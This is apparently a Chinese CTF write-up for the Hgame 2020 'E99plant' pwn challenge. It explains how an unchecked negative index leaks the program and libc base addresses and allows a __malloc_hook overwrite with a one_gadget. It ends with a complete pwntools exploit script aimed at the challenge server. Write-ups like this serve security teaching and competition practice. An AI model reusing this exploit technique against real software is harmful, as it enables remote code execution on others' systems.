Hgame2020_Week3_Pwn_E99plant_Note

?非预期?

功能菜单:

1
2
3
4
1.add
2.delete
3.show
4.edit

这里利用了show中输入idx未进行检验,所以可以产生leak。

list位于0x202040(此题开启了PIE),在其上方可以发现

1
2
3
4
5
.data:0000000000202008                 public __dso_handle
.data:0000000000202008 __dso_handle dq offset __dso_handle ; DATA XREF: __do_global_dtors_aux+17↑r
.data:0000000000202008 ; .data:__dso_handle↓o
.data:0000000000202008 _data ends
.data:0000000000202008

0x202008上面存放的是自己本身,所以show的时候输入-7,就可以得到程序基址。

1
2
3
4
show(-7)
leak=u64(sh.recvline()[8:14]+"\x00\x00")
proc=leak-0x0000564635e1f008+0x564635e1d000-0x200000
log.success("proc : "+hex(proc))

同时edit中也存在同样的问题,输入-7,就可以对0x202008进行编辑,编辑的size是sizelist[-7],而sizelist[-7]是可以通过控制list的内容来间接控制的。

因此我们把可分配的20个note全分配满,然后edit -7,0x202008这个地方保持原有的值(通过之前leak获取),然后再往后面写就可以控制list和sizelist。

1
2
3
for i in range(20):
add(0x10,'\xff')
edit(-7,p64(proc+0x202008)+p64(0)*6+p64(proc+lis)+p64(proc+sizelis)+p64(0)*18+p32(0xffff)+p32(0xffff))

之后在list里写个got表地址,show一下就可以leak出libc的基址。

最终在list里写个mallochook,使用edit填入onegadget,获取shell。

完整EXP:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
#coding=UTF-8
from pwn import *
context(arch='amd64', os='linux', log_level='debug')
one=[0x45216,0x4526a,0xf02a4,0xf1147]
debug = 0
if debug:
sh = process("/media/psf/Home/Downloads/E99")
else:
sh=remote("47.103.214.163",20302)
def D():
cmd='''
'''
gdb.attach(sh,cmd)
#libcbase=0x7f6a388bf000+puts-0x7f6a3892e690
#libcbase=mainarena-0x3c4b20
def add(size,content):
sh.recvuntil(":")
sh.sendline("1")
sh.recvuntil("size?\n")
sh.sendline(str(size))
sh.recvuntil("content:")
sh.sendline(content)
def delete(idx):
sh.recvuntil(":")
sh.sendline("2")
sh.recvuntil("index?\n")
sh.sendline(str(idx))
def show(idx):
sh.recvuntil(":")
sh.sendline("3")
sh.recvuntil("index?\n")
sh.sendline(str(idx))
def edit(idx,content):
sh.recvuntil(":")
sh.sendline("4")
sh.recvuntil("index?\n")
sh.sendline(str(idx))
sh.recvuntil("content:")
sh.sendline(content)
lis=0x202040
sizelis=0x2020e0
puts=0x201F90
show(-7)
leak=u64(sh.recvline()[8:14]+"\x00\x00")
proc=leak-0x0000564635e1f008+0x564635e1d000-0x200000
log.success("proc : "+hex(proc))
for i in range(20):
add(0x10,'\xff')
edit(-7,p64(proc+0x202008)+p64(0)*6+p64(proc+lis)+p64(proc+sizelis)+p64(proc+puts)+p64(0)*17+p32(0xffff)+p32(0xffff))
show(2)
leak=u64(sh.recvline()[8:14]+"\x00\x00")
libcbase=0x7f6a388bf000+leak-0x7f6a3892e690
mallochook=libcbase+0x3c4b20-0x10
edit(0,p64(mallochook))
edit(0,p64(libcbase+one[3]))
sh.recvuntil(":")
sh.sendline("1")
sh.recvuntil("size?\n")
sh.sendline("77")
sh.interactive()
文章目录
|